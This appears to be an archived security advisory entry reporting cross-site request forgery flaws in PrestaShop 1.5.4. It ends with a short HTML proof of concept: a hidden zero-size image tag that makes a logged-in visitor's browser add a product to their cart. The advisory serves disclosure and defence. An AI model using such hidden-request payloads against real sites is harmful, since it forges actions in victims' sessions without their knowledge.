source: https://www.securityfocus.com/bid/61158/info
PrestaShop is prone to multiple cross-site request-forgery vulnerabilities.
Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.
PrestaShop 1.5.4 is vulnerable; other versions may also be affected.
<html>
<head>
<body>
<img src="http://www.example.com/language/cart?add=&id_product=[Product ID]" width=0 height=0>
</body>
</head>
</html>